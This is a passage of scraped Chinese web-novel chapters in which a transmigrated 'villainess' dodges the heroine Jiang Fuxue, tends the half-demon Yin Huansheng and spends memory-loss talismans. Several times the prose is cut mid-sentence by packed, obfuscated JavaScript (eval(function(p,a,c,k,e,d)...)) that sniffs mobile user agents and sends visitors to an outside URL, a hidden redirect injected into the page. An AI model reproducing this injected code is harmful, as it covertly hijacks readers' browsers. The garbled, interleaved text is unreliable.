l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477851|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巫。 随着时间的过去,殷焕生的身体状况明显变好了。 他的脸色苍白中透着一丝红润,生命值从个位数蹦到了两位数。 系统开始担心了。 【宿主,反派的身体已经开始转好了。你小心一点,万一他真要弄死你。】 陆霜序丝毫不在乎,并且还跃跃欲试。 “他杀了我,那我任务不就完成了吗?” 【虽然你的最终任务目标就是这个,但是还没有走完全部的剧情呢。你现在就让他杀了你,剧情怎么办?后面的那些情节怎么办?】 陆霜序笑得人畜无害。 “这个就是你们的问题了,我只负责完成任务啊。” 系统被她这一套逻辑绕晕了。 它想了想,又想不通哪里不对。 【嗯?】 它带了这么多宿主,从来没有遇到过这样的。 不按套路出牌,不按剧本演戏,不按常理思考。 她像一个从棋盘上跳出去的棋子,不走了,不跑了,就那么站在棋盘外面,看着棋盘上的那些棋。 它忽然有了一个决定。 【宿主,我要请个假。】 “啥?”陆霜序的声音拔高了,带着一股子难以置信的震惊,“我都不能请假,你请假?” 【我带了这么多宿主,第一次发现其实我的系统有很多bug。所以我打算回去升级一下。把那些乱七八糟的bug修一修,把自己变得更强一点,再回来继续辅助你。】 陆霜序皱起眉。 “嗯?那我呢?” 【你好好走剧情就好了。对了,之前得的奖励失忆符可以使人失去一个时辰之内的记忆。因为我升级的时候不能再辅助你,所以我额外再送你6张。你一定要撑到我回来。】 话音刚落,陆霜序的面前突然出现了一个面板。 那面板悬浮在半空中,散发着幽幽的蓝光。 面板上有很多乱七八糟的东西,但大部分都灰掉了。 只有那行写着“失忆符”的字还亮着,后面跟着一个阿拉伯数字8。 【我说我要走了耶,你不伤心难过的吗?】 “快滚。别打扰我。” 【QAQ】 虽然不情不愿,但系统还是消失了。 此时的殷焕生已经能起床下地了。 他站在门口,一只手扶着门框,另一只手垂在身侧。 他的旧衣还是那件洗得发白的旧衣,可那衣服上的泥巴和血污已经被洗干净了,领口的地方还带着一股淡淡的皂角味。 他看起来像一个正常人了。 陆霜序看着他,脸上挂着一个笑。 “师兄,怎么样?经过我这么多天的悉心照顾,是不是好多了?” 殷焕生看着她,没有说话。 但陆霜序却明白他的意思。 陆霜序一脸难过地低下头,嘴唇微微嘟起,带着一种“我好委屈”的可怜。 “你现在就要杀了我吗?这真是吕洞宾与狗,好歹照顾了你这么久。” 殷焕生经过这么多天的相处,也是明白陆霜序到底是个什么样的人了。 她不是在骂他,就是在逗他。 她用“吕洞宾与狗”这个典故,还把“狗”安在了他身上,他立刻读出了其中意思。 “你骂我是狗?” 陆霜序抬起头,脸上挂着一个无辜的笑。 “当然没有。”她的声音又轻又软,像在哄一个闹脾气的小孩。“师兄长这么好看,怎么可能是狗?” 殷焕生已经懒得理这个人了。 陆霜序的所作所为确实足够他弄死她几百次,可他总觉得就让她这么死了,太便宜她了。 他从来就没有见过这样的人。 他不明白,这个人很聪明,能不使用修为就破开他的阵法,更能做事滴水不漏,问不出任何有用的线索。 可这样聪明的人根本就没有理由留在这里照顾他这么久。 “你到底有什么目的?” 陆霜序歪着头,想了一会儿。她的手指点着自己的下巴,一下一下的,像在打拍子。 然后她笑了。 “我喜欢你。” “......”殷焕生的眼皮狂跳,直到最后整张脸都在微微抽搐。“说实话。不然我现在就弄死你。” 他想,他已经忍到极限了。 他现在恢复了,想杀了她,轻而易举。 陆霜序收起了笑容,她的脸上换上了一种严肃的表情。 她清了清嗓子,深吸了一口气。 一副被抛弃的深闺怨妇模样,“殷焕生是阴险小人,恩将仇报,没有良心,道德败坏……” 14. 如果想我 殷焕生看着眼前的陆霜序。 她哭唧唧了半天,双手捂着脸,肩膀配合一抽一抽的。 但那么卖力的表演,眼泪一颗都没有掉下来。 殷焕生的眉头拧成了一个死结,他的眼皮开始跳。 他很恼怒。 并不只是对陆霜序,还有对自己无可奈何的恼怒。 这个女人真是... 陆霜序还在继续哭诉,满心满眼的委屈。 “我救了你,你怎么这么对我啊。” 殷焕生的眼皮跳得更厉害了。 就在这僵持不下的氛围之中,门被敲响了。 “咚咚咚。” 门本就大开着,从里面就能看到外面的情况。 两名不速之客来到了这里。 前面那个女子,一袭淡青色的长裙,发髻上簪着一支白玉簪,素净得像是从画里走出来的。 另一男子,白衣如雪,腰间悬着一柄长剑,面容清俊,眉目如画,不紧不慢地跟在后面。 江拂雪。沈寂川。 这两个最不该出现在这里的人,出现在了这里。 陆霜序的哭声,像被人掐住了脖子的鸡,戛然而止。 其实她这么多天留在这里,不只是为了照顾殷焕生。 照顾他是一部分原因,另一部分原因,是她知道这两个人在找她。 苍穹殿那日,常衡给她派了一个什么任务,江拂雪说要帮她疗伤,沈寂川说要“一同去”。 她拒绝了,可她这两个人没有这么算了 他们像两块甩不掉的狗皮膏药。 她留在这里,是为了躲。 可她没想到,他们还是找来了。 不是找到了她,而是找到了殷焕生。 只是他们不知道她在这里,不知道眼前这个穿着淡粉色衣裳、看起来不过十五六岁的小姑娘,就是他们要找的陆霜序。 她深吸了一口气。 她现在的身份是月魄,是陆霜序半个月前新收的小徒弟,一个炼气期的小废物。 只要她不露出破绽,只要江拂雪和沈寂川不特意查看她,她就不会被发现。 她低下头,把脸藏进阴影里。 沈寂川向前走来。 他走到殷焕生面前,停下来。 他还记得殷焕生受伤了。 那日在翠微林的演武场上,浑身是血,衣袍破烂。 “你的伤好些了吗?” 他的语气里带着一种作为师叔关心师侄的长辈式的温和。 只可惜,殷焕生并不想接受这种好意。 他的目光从陆霜序身上移开,落在沈寂川脸上,那双眼睛里的冷意,比刚才对着陆霜序的时候,浓了十倍,百倍。 “这里是我的地盘,滚出去!” 沈寂川似乎不相信自己的耳朵。 他只是出于长辈关心小辈,结果被这么吼了一句。 可细想,这里的确不是他的屋子,虽然门开着,但是他贸然进来,确实是不合乎。 思虑了半天,他退了出去。 陆霜序憋住笑。 本来一直殷焕生对她那种态度,她很不爽。 可现在她发现,这个人平等的对所有人都是一副不耐烦的表情。 她释怀了。 尤其是她真的、真的很讨厌这两个人。 这两人没事找事,非要拉着她出任务,现在还结成对子,漫山遍野的找她。 简直气死人了。 现在殷焕生对他俩这个态度,也算是间接为她解了解气。 沈寂川站在那里,尴尬了好一会儿。 江拂雪丝毫没有受到影响。 她站在沈寂川身旁,脸上还挂着那个温和的笑,那笑容像一幅画,画得很精致,很完美,只可惜不像是真的。 她开门见山道:“我们是来找你师尊的,你可知道她在哪?” 殷焕生歪了歪头,似乎是被什么有意思的东西引起了兴致。 他声音慢悠悠的,带着猫抓老鼠的惬意感。 “哦?找不到她?我倒是有办法。” 陆霜序的汗毛竖了起来,是一种本能的像被天敌盯上了一样的寒意。 她知道殷焕生绝对没有安好心。 她的体内有他的毒。 而他随时可以让那些毒在她的经脉里翻走。 总之,为了避免这个死变态为了把她找出来,发动她身体里的毒,她是不能装死下去了。 “两位师叔,你们且先等等。师尊病重在闭关,你们寻不到她。我过会去找她就好。” 沈寂川看着她,脸上露出疑惑的表情。 “你叫师尊,你是?” 陆霜序早就准备好了答案。 她的笑容不变,“大概是半个月前,师尊收我做了弟子。” 沈寂川点了点头,倒是没有对陆霜序的身份继续发出疑问。 他低头,解下腰间的玉佩。 那玉佩的形状是一朵莲花,花瓣层层叠叠,栩栩如生。温润如脂,泛着淡淡的银白色光泽。 他把玉佩递到陆霜序面前。 “倒是没见到你,这礼物便送给你吧,当是我这个师叔的意思。” 陆霜序睁大了眼睛。 天啊!这玉佩看着就不是凡物。 玉里面还有灵气在流动,这东西放在外面,肯定值不少钱。 这男主在原著中就是一个圣父的角色,现在看来真是个大好人。 散财童子呀。 见面就送礼物,还送就这么贵重的。 江拂雪没有寻到人,并不愿意多逗留,只留下了一句话。 “让你师尊来找我。” 紧接着沈寂川跟在江拂雪身后,也走了。 屋里又重新恢复了平静。 殷焕生扭过头,看向一旁的陆霜序。 “你和陆霜序很熟吗?” 以他对那个残忍女人的了解,她不可能会喜欢弟子,更不会情愿去收弟子。 那个女人眼里只有两样东西——修为和沈寂川。 前者是她活下去的养分,后者是她求而不得的执念。 除此之外,所有人都是工具,棋子,可以随时丢弃的废物。 她当时愿意收他为弟子,带他脱离那个地狱一样的地方,纯粹就是因为他身上那些修为。把他当成一个移动的,会自己长出修为的灵药,养在身边。 今天割一刀,明天剜一块,等他快死了就丢一边,等他自己慢慢长回来,再继续割。 可眼前这个人这个只知道撒娇耍赖的人,到底有什么东西能值得陆霜序收徒? 虽然确实聪明,可没有背景,没有修为,连做饭都做得那么难吃? 而且她跟“陆霜序”混得很熟的样子。 知道陆霜序病重闭关。 甚至戴着陆霜序的那枚从不示人的的乾坤戒。 这. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477852|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..很奇怪。 陆霜序眨了眨眼睛,嘴唇刻意弯起一个甜腻的弧度。 “这是秘密哦。”她的声音又轻又软,像在哄小孩,又像在逗猫。“不能说。” 殷焕生冷哼一声,像是根本不在意。 陆霜序歪着头看了他一眼,又眨了眨眼。 “但是如果师兄真的想知道,我可以偷偷告诉你。但是你要发誓,不能告诉别人。” 这样的说辞令殷焕生更加冷眼。 “不需要。” 陆霜序一副难过的样子。 “好吧。”她的声音轻轻的,软软的,带着一种委屈。 然后她抬起头,看着殷焕生。 “不过师兄,我也有一个问题要问你。被人照顾的感觉,是什么样?” 殷焕生愣住了。 他转过头,看着她,那双幽深的眼睛里闪过一道光。 “什么?” 他一时之间不能理解这个问题。 他觉得眼前的人是在邀功,或者是在挟恩图报。 只可惜他不是良善的人,更不会是会报恩的人。 别人欠他的,他会连本带利拿回来。 至于他欠别人的。 哼。 他才不会欠别人的。 这世道流年不利,也不过多几个横死的倒霉鬼。 可陆霜序的回答,完全出乎他的意料。 “我只是从来都没有被人照顾过,所以想知道这种感觉是什么。” 她说这话的时候,语气里没有悲伤,有的只是深深的疑问。 可从别人的角度来看,这话说的实在太过可怜。 殷焕生愣住了。 他记得眼前这个女孩告诉过他,她从小父母双亡。 他一时有一些动情。 像是一潭死水的表面下,有什么东西在翻涌。 很久没有人把他当人了。在万剑宗的这些年,他被当成鼎炉,当成工具,当成一个会移动的灵药罐子。 那些人看他,像看一件物品,有用了就拿起来,没用了就扔一边。 没有人问过他疼不疼,饿不饿,愿不愿意。 也没有人对他说过这种像掏心窝子一样的话。 只是这并不能改变些什么。 他开口了。声音很冷,像冬天的风刮过枯枝,干巴巴的,却带着一股子能冻死人的寒意。 “一股让人讨厌的感觉。” 他没有说谎。 这种感觉的确让他讨厌。 这一时的温暖,除了能让他磨损自己复仇的意志,回忆起那些恶心的过往,没有一点用处。 陆霜序笑了笑,带着如释重负的笑脸,她说,“那我就放心了。” 说完这句话,她转身就要走。 可她走到了一半,又转了回来。 她来到了殷焕生面前。 她站在他面前,仰着头看他。 他比她高将近一个头,所以她看着他的时候需要仰视,脖子仰起,可她不在乎。 她的眼睛亮亮的,气势上一点也不输。 “师兄,我要去找师尊了。你要记得好好照顾自己。” 她顿了顿,歪着头想了一会儿,像是在斟酌什么。终于她像是想到了什么好办法,开心的笑了出来。 “如果你想我了,那你可以继续把自己弄到生命垂危,这样我就会回来照顾你。” 说完这话,她一笑,走了。 15. 压倒一切的嫉妒 陆霜序离开了。 她的脚步声在门外渐渐远去。 殷焕生看着那扇半掩的门,看了好一会儿,然后他把头转了回来。 他想,无聊的把戏。 无论他是否会受伤,是否会死,都和她无关。 他从来不需要任何人的照顾。 他只在乎自己想做的事。 如果到时阻挡他的是他自己,他也会毫不犹豫地铲除阻碍。 他不可能会因为几句软话,几顿饭就改变自己。 殷焕生低头,看了看自己的手。 一股久违的力量感充斥着他的身体。 他的身体确实因为月魄的照顾恢复了许多。 他握了握拳头。指节发出“咔咔咔”的声响,像竹节被折断的声音,又像骨头在重新拼接的声音。 他冷着眼,出了门。 门外是一片灰蒙蒙的天,峰顶的松林在晨雾中若隐若现。摘星峰地势高,雾气也因为阴冷久久不散,尤其越高,就越是如此。 他活动着身体,向外走去。 他这次的目的地不再是深山,他要去的地方,是摘星峰的玉殿,陆霜序的寝殿。 月魄能在这里照顾他这么久,陆霜序也没动手要杀了他,这说明他的计划成功了。 那个女人是怕他真死了。 毕竟他是她夺取修为的来源。 如果他死了,她就失去了一个可以无限榨取的灵力库。 但能获得修为的存在不只是他一人,也有其他天资卓越的人,亦或是稀世的天材地宝。 陆霜序当时愿意留他,不只是因为他的天赋百年难遇,能修为榨取更多,还因为他的半妖身份低微,不会有什么人为他鸣不平。 更因为他的修为远低于她,陆霜序可以很方便的控制他。 可席春丝那次,他暴露了自己可以杀掉陆霜序的事实。 而且最麻烦的是他失败了,并且他也不明白为什么会失败。 按照陆霜序的性格,明白她一直随意玩弄的半妖居然能杀了她,肯定会十分愤怒,届时一定会杀了他。 为了活下去,陆霜序离开后,他挣断了红绳,从那张床上挣脱出来。 他做了一件事,献祭自己的鲜血,动用体内那股疯狂的妖力,让被镇压在禁山里的妖兽开始发狂。 那些被万剑宗镇压了多年的,凶残嗜血妖兽,在他的召唤下从沉睡中醒来,在禁山里横冲直撞,发出震天的咆哮。 整个万剑宗都被惊动了,几乎所有人都去守护禁山,防止妖兽冲破封印。 他了解陆霜序。 那个女人最在乎的是两样东西:修为和沈寂川。 但她想要修为,不是为了成为天下第一人,而是为了超过江拂雪。 在陆霜序的眼里,是江拂雪抢了她应有的一切。 她恨江拂雪恨到了骨子里。 她拼命地夺取修为,拼命地提升自己,不是为了别的,就是为了有朝一日能压过江拂雪,把那些被抢走的东西,一样一样地夺回来。 他知道,如果想让陆霜序不杀他,那就必须让江拂雪的修为大涨。 因为陆霜序最恨的不是他,而是江拂雪。 如果江拂雪变得更强,陆霜序的嫉妒和愤恨就会压倒一切,她会不顾一切地提升自己,而她提升自己的最快途径,就是夺取他的修为。 为了超过江拂雪,她会不计代价地留着他。 计划按他预想的那样顺利进行。 因他妖族的血脉,对待妖的气息非常敏锐。 趁着混乱,他轻易引来了其中一头夜行兽。 那是一种极为稀有的妖兽,通体漆黑,只在月圆之夜出没,它的体内藏着一颗月魄珠。 疗伤的圣品,有价无市。 他费了很大的力气,把那头夜行兽引到了江拂雪面前。 这是一个赌局。 他要用江拂雪的修为,换自己的命。 然后,他赌赢了。 江拂雪和普通人没有什么区别,她没有半分犹豫就取走了月魄珠。 但江拂雪同样聪明,她知晓就是由于月魄珠太过于珍贵,即便是落到她这个万剑宗宗主女儿的手里,也有很大的概率会被拿走。 万剑宗不是常衡一个人的万剑宗,那些仙尊们,那些长老们,不会眼睁睁看着这么珍贵的东西落在一个人手里。 他们会找理由,会找借口,会用“宗门需要”的大帽子压下来,把月魄珠从江拂雪手中拿走。 而为了避免日后不必要的麻烦,江拂雪做了一个令他都没想到的事。 那只死掉的夜行兽莫名复活,并且奇迹地出现在了他的面前。 他“意外”拿到了那颗珍贵的“月魄珠”。 那天,那几个弟子来抢他的月魄珠。 但殷焕生恨很清楚,不是他们自己想抢,而是有人让他们来抢。 事情理所当然闹大,陆霜序来了,当着所有人的面,从他手里抢走了月魄珠。 一切都顺理成章。 珠子落到了陆霜序手里,而所有人都以为陆霜序捡了个大便宜,恨得牙根痒痒。 可他是半妖。 对于妖族的东西,他有着天然的亲近感,能够探查出虚实。 那颗月魄珠落到他手里的时候,他只是轻轻一握,就感觉到了不对。 珠子里面的灵气不对,不是那种温润的,如月光一样柔和的气息,而是一种阴冷的,同蛇一般盘踞在珠子深处的气息。 那枚月魄珠不但没有了疗伤治愈的功能,还多了某些让人察觉不到的毒性。 那毒性很隐蔽,隐蔽到如果不是他这种对妖族气息极度敏感的人,根本感觉不出来。 它藏在珠子的最深处,像一条冬眠的蛇,蜷着身子,安安静静的。 可一旦有人把珠子里的灵气引入体内,那条蛇就会醒来,会在那人的经脉里游走,会在那人的五脏六腑上留下细细的,几乎看不见的裂纹,直到一个合适的时机,就能让使用者爆体而亡。 众人都知道他对于陆霜序到底是个什么东西。 如果他真的拿到了月魄珠,那珠子自然而然会到陆霜序手里。 这是所有人都知道的,自然也包括江拂雪。 “哼。” 殷焕生冷笑了一声。 看来,这个世上想让陆霜序死的人,不只是他而已。 江拂雪。 他今日又见到她了,她的修为突飞猛进。 月魄珠落在她的手里,被发挥出了最大的作用。 她身上那股灵力的波动,比以前更强,更纯了,像一条被拓宽了的河流,水流更快了,河道更深了。 她的修为已经远远超过了陆霜序,而且还在继续往上涨,像一匹脱了缰的野马,谁也拦不住。 所以陆霜序这是着急了,着急得已经不在乎他是否能够杀掉她。 因为比起他的威胁,江拂雪的威胁更大。 所以她才默许月魄来照顾他,为了让他身体好起来,能够让她尽情地夺取修为。 殷焕生沿着山路往玉殿的方向走。 雾气比刚才更浓了,从松林深处翻涌出来,像一条条灰白色的蛇,在他的脚边游走。 隐秘的雾气里,他见到了几个熟人。 摘星峰不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那帮人的脸上带着讨好的笑容,那笑容对着的是对着门里面那个他们以为会在的人。 屋里当然不可能有人会回答他们。 那帮弟子见一直没有人回答,脸上的笑容开始变得僵硬。 他们互相看了一眼,眼神里有一种说不出的焦躁和不安。 然后,有人伸出手,推了一下门。 殷焕生站在不远处,隐在雾气里,看着这一切。 他突然出声,“那是我的地盘。谁允许你们进去?” 声音带着一股子说不清的寒意。 那群弟子开始茫然声音的来源,而当他们的脸终于对准了声音传来的方向时,他们看见了殷焕生。 他就站在雾气里,脸上没有什么表情,可那双眼睛里的光,冷得像冬天最深处的那场雪。 有人疑惑地转过头来,眯着眼睛看了好一会儿,才认出那个站在雾气里的瘦削身影,就是他们一直都不看在眼里的殷焕生。 其中一个长相猥琐的男人,见到殷焕生就笑出了声。 他像往常一样抡起了拳头,整个人像一张被拉满了的弓。 他的拳头很大,骨节突出,上面还长着黑乎乎的汗毛,像一个被铁铸成的锤子,砸在人身上,能砸出一个窟窿。 他上前了一步。 然后,另一个弟子拦住了他。 “小师妹跟咱们说过的,如果再找这个东西的麻烦,她就不理咱们了。” 那个举拳头的男人咬了咬牙,拳头慢慢放了下来。 殷焕生看着这一幕,嘴角慢慢弯了起来。 他被气笑了。 “小师妹?” 那个人,在这些天里,都干了些什么? 16. 师姐求放过 陆霜序自然不知道殷焕生脑补了什么。 她回到了玉殿,恢复真身后,把自己扔进铺着锦缎的软榻里。 她翻了个身,把脸埋进枕头里,闷闷地叹了一口气。 从原著的内容和这几日宗门里大大小小的八卦来推断,常衡给她那个莫名其妙的任务,大概那日万剑宗禁山里妖兽暴动的事情,引起了整个修仙界的注意。 为了防止二十年前妖族突袭那样的惨案再次发生,修仙界集齐了各大有头有脸的门派,召集了一次会议,商讨对付妖族的事情。 地点选在逍遥门,那是修仙界最古老、最中立的门派。 会议的主要目的,重新要推举一位能代表修仙界的领袖作为仙盟盟主,然后带领仙门百家一起抗击妖族。 为什么说是重新呢。 大约二十年前,万剑宗还是修仙界里数一数二的大门派,仙盟盟主就是陆霜序的父亲。 可那场妖族突袭,她的父母身负重伤,被迫闭关,从此再也没有露过面,仙盟盟主的位置就一直这么空着了。 那帮人说得冠冕堂皇,什么“共御外敌”“同舟共济”,可陆霜序用脚趾头想都知道,这不过是一群老头老太太聚在一起斗心眼,抢位子的把戏。 谁当上了盟主,谁就能号令天下修仙者,掌握整个修仙界的资源。 这么大的诱惑,谁不想分一杯羹 只可惜万剑宗像一棵大树,已经是金玉在外,败絮其内,再出不了陆霜序父亲那样的人物,只能坐等那群人擅自开始重新选盟主。 不过也好在,万剑宗虽然现在潦倒了许多,可瘦死的骆驼比马大,就单有一个禁山的存在,就足以让那些小门小派望而却步。 所以自然而然的,万剑宗也在受邀的行列之中,还是有希望再将这人人羡艳的盟主之位收回来。 当然这种力挽狂澜,出风头的事当然是要交给女主。 原著剧情里,江拂雪作为万剑宗的代表,和沈寂川一同去了逍遥门。 她在那里大杀四方,舌战群儒,将那些心怀鬼胎的仙尊们斗的心服口服,成功当上盟主,赢得了所有人的尊重。 而原身,作为一个恶毒女配,因为自己不能去选盟主,所以发疯阻拦江拂雪,但最终落得了个被狠狠打脸的炮灰剧情。 可现在这个剧情,像一匹脱了缰的野马,已经分不出到底在哪条道上跑了。 常衡不把任务交给自己的女儿,反而甩到她头上。 她不去,江拂雪要来拉着她去? 这个世界到底在搞什么? 她穿书的时候是不是拿错了剧本? 那破烂系统去升级,连个可以商量的人机都没有。 陆霜序在软榻上又翻了个身,把枕头压在脑袋底下,两只手抱着头,盯着床帏上的花发呆。 怎么才能把剧情引回正路上。 首先,她一点都不想加班。 而且她可太清楚自己几斤几两了,没有主角光环,没有天道眷顾,再没有金手指,她凭什么在群雄毕至的逍遥门里,比过此书主角江拂雪抢到第一? 难道千辛万苦跑了去当炮灰,给别人提供打脸材料吗? 就在她绞尽脑汁想要找到一个完美方法的时候,她最不想见到的人,出现了。 殿门没有响,脚步声也没有。 那个人无声无息地出现在了门口,淡青色的裙摆垂落在地。 她的脸上挂着一个笑,那笑容纯洁得像刚被雪洗过的莲瓣,不染一丝尘埃,自带一种圣洁的气息。 江拂雪。 陆霜序的脑子嗡了一声。、 她猛地从软榻上弹起来,头发散了,衣裳皱了,脸上还印着枕头上绣花的纹路,整个人像一只被从窝里拎出来的猫,炸着毛,瞪着眼,一脸“怎么又是你”的崩溃。 她恢复真身,才不过几刻钟。 她以为江拂雪已经走了。 结果她前脚刚踏进玉殿,后脚江拂雪就跟来了。 江拂雪根本就没走,一直在摘星峰上转悠,等着她现身吧? 堵她堵到了这种程度,是跟她有多大的仇? “师妹,终于找到你了。” 江拂雪的声音还是那样温和,她的脸上带着一种如释重负的表情,像一个认真为师妹处理后事,擦屁股的师姐。 “你找我做什么?我可一点都不想见到你。” 陆霜序自然是没有一点好脸色。 不说恶毒女配的人设,她是真讨厌江拂雪啊。 当时看书的时候有多喜欢,现在就有多讨厌。 果然距离产生美,她此刻很想把江拂雪重新按回书里。 江拂雪脸上的笑容没有变,她站在陆霜序面前,微微低下头,那低头的角度恰到好处,不会让人觉得卑微,也不会让人觉得高傲,只是一个姐姐在看妹妹时的自然姿态。 “师妹切不可胡闹。众人都已抵达逍遥门,就差我们万剑宗了。届时仙盟选拔盟主,难道师妹就不想去争一争?” 如果是以前的陆霜序,肯定会二话不说就跑去逍遥门,去争夺那个所谓的盟主。 毕竟她的父亲曾经就是仙盟的盟主,而且她还一直都觉得自己高贵,和别的人不一样。 尤其是如今,她痛恨其他人忘了她的父亲,只记得常衡和江拂雪。 所以只要有出风头的机会,她一定会去。 她要让世人再次记起她,记起她的父母。 可惜,站在江拂雪面前的不是原来的陆霜序。 陆霜序看着江拂雪那张笑眯眯的脸,再看着那副“我是为你好”的真诚表情,嘴角抽了抽。 “巧了,我还真不想。” 她本来就不想加班。 上辈子加班加死了,这辈子还要她去开什么破会?去一群老头老太太中间斗心眼?去争一个她根本争不到的盟主? 她又不是脑子有坑的人。 陆霜序明目张胆地翻了一个巨大的白眼。 江拂雪站在那里,脸上的笑容还挂着,看起来并没有生气。 “师妹别气,我知道你只是一时的意气用事。” 陆霜序急忙摆手. “没有,你不要污蔑我!我是真不想去” 江拂雪仍旧笑着。那笑容像钉在脸上的,风吹不动,雨打不落,时间久了,竟让人觉得有一丝毛骨悚然的意味。 她没有再说话,只是往前走了一步。 然后她伸出手,抓住了陆霜序的手腕。 那只手很凉,指尖微冷,像五根刚从冰水里捞出来的一样,狠狠扣在陆霜序的手腕上。 陆霜序的手腕使不上力,整条手臂都像被抽走了骨头一样,软绵绵的,动弹不得。 陆霜序:!!! 那天晚上。她被从被窝里薅出来,强行拉到药房,被迫处理一桩跟她毫无关系的烂事的夜晚。 江拂雪也是这样,笑眯眯的,一边说着“抱歉,师妹,打扰你了”,一边用那股她根本无法反抗的力道,把她从温暖的被窝里提了出来。 又来了。 这个人又要把她强制带去走剧情。 “不是,你怎么还能绑架呢?”陆霜序的声音拔得更高了。 她的另一只手抓住了旁边的柱子。那是一根白玉石柱,两个人才能合抱过来,柱身上刻满了繁复的符纹。 她的手指抠进符纹的凹槽里,整个人像一只树袋熊一样,死死地抱住了那根柱子。 “师妹,你别喊了。”江拂雪的声音还是那样温和,不急不躁,像在哄一个哭闹的小孩。 只是她的手上加了几分力道,陆霜序的手腕被捏得更紧了,骨头发出细微的咔咔声,像是随时都会被捏碎。“这里除了你我,没有任何人。你同我去,我会帮你得到仙盟盟主的位置。” “我去你大爷的!”陆霜序的声音从喉咙里吼出来。“你快松开我!” 她已经是金丹大圆满的修为了,放在外面是能开宗立派的人物。 可在江拂雪面前,她就像一个刚学会走路的小孩,挥舞着拳头,打在一个成年人的腿上,不疼不痒,连挠痒痒都算不上。 陆霜序的修为是完全比不上江拂雪。 这不是努力不努力的问题,这是主角光环和炮灰命格的区别。 天道偏心,偏到了胳肢窝里。 她恨不得趴在地上,死活也不肯走。 事实上她也这么做了。 江拂雪也没有想到,陆霜序为了能不去逍遥门,这么放得下身段。 在她的印象里,陆霜序是最要面子的一个人,尤其是在她面前,宁可打碎了牙往肚子里咽,也不肯在人前露出一丝狼狈,怎么能撒泼甩赖到这种程度呢。 她的眉头微微皱了一下,然后她手上更用力了,一点一点地把陆霜序的手指从柱子上掰开。 “你有病啊!我说了我不去!你聋了吗?你听不懂人话吗?” 江拂雪装没听见,她的脸上还挂着那个笑。 她的手指一根一根地掰开陆霜序抠在柱子上的手指,从拇指到食指,从食指到中指,一根一根的,像在剥一个橘子,耐心极了。 陆霜序扒着柱子的手,没几下就被迫松开了。 她被江拂雪拖着,一步一步地往殿外走。 就在她绝望崩溃的时刻,她忽然想起来了。 系统临走之前告诉她的东西。 那张可以让人失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477854|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个时辰记忆的符咒。 失忆符。 她瞬间清醒了过来,她赶紧在脑海里召唤出那块已经灰掉了大半的面板,目光扫过那些乱七八糟的,最后落在那行唯一亮着的字上。 失忆符。 数量:8。 她毫不犹豫地选择了兑换使用。 一道几乎看不见的,淡金色的光芒从她的指尖涌出来,它飘到江拂雪的额前,停了一瞬。 江拂雪像是被雷劈到了一样,瞬间就不动了。 她的手还保持着抓着陆霜序手腕的姿势,可那力道已经消失了。 陆霜序趁机把手腕从她的手里抽了出来。 可下一刻,江拂雪眨了眨眼,那双清澈的眼睛里重新有了光。 “师妹,终于找到你了。” 一模一样的话。 一模一样的语气。 连眼神都一模一样。 江拂雪就像被按下了重播键,从头开始,看见陆霜序就两眼放光要抓人。 陆霜序的脑子里又炸锅了。 这个人是不是有病啊? 她刚刚用了失忆符,让江拂雪失去了过去一个时辰的记忆。 正常来说,不是应该疑惑自己为什么突然出现在了这里吗?怎么什么也不管,先来抓她啊。 陆霜序没有犹豫,她转身就跑。 可她的修为压根比不上江拂雪。 没几下,她又被抓到了。那只冰凉的手重新扣住了她的手腕,扣得比上次更紧,更用力,怎么挣都挣不开。 陆霜序现在非常能理解,为什么原身不顾一切也要超过江拂雪。 这要是搁她身上,她宁负天下人,也要把修为练到超越江拂雪 只可惜,理想很丰满,现实很骨感。 陆霜序又被江拂雪抓到了。 这一次,江拂雪没有再给她任何挣扎的余地。 半强迫式的拖拽,最后转变成了完全强迫。 陆霜序咬了咬牙,又在脑海里召唤出了那块面板。 那行亮着的字还在那里,失忆符,数量:7。 她的心在滴血。 她又用了一张失忆符。 淡金色的光芒再次从她的指尖涌出来,飘向江拂雪的额头。 江拂雪的手松了。 她的眼睛又空了。 陆霜序没有浪费这一秒钟。 她利用这短暂的几秒钟,从江拂雪的手中挣脱出来,迈开步子,冲向了门口。 然后,她迎面撞上了一个人。 那个人穿着一件洗得发白的旧衣,像一堆快被风吹散的骨头,站在那里,脊背挺得笔直。 殷焕生。 陆霜序从殿里冲出来,头发散乱,衣裳不整,脸上还挂着一副劫后余生的庆幸。 两位作为长辈的陆霜序和江拂雪,在意识到有第三者在场之后,同时咳嗽了几声。 那咳嗽声很假,很刻意,像是在掩饰什么。 她们整理好了自己的衣冠,把散落的头发别到耳后,重新戴上了那副仙尊的面具。 端庄的,高贵的,不可侵犯的,像两尊供在庙里的菩萨,谁也看不出刚才那一幕狼狈的像市井泼妇一样的拉扯。 陆霜序看到殷焕生,就像是看到了救星。 她的眼睛亮了一下。 她发现江拂雪这个人,还是挺要面子的。 